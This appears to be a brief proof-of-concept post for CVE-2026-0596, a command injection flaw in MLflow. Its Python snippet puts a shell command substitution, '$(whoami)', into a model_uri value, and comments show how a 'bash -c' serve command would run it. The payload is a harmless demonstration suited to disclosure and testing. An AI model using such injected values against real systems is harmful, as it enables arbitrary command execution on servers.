CVE-2026-0596 MLflow命令注入漏洞

# PoC for CVE-2026-0596 MLflow Command Injection # Demonstrates the vulnerability via malicious model_uri import os # Simulating a malicious model_uri containing command injection # The payload uses $() to execute arbitrary commands malicious_uri = "s3://bucket/$(whoami)" # In the vulnerable code flow, the command is constructed like this: # cmd = f"bash -c 'mlflow serve ... --model-uri {malicious_uri}'" # If the application executes this, the shell runs 'whoami' print(f"[+] Injecting payload via model_uri: {malicious_uri}") print("[+] If vulnerable, the system will execute the 'whoami' command.")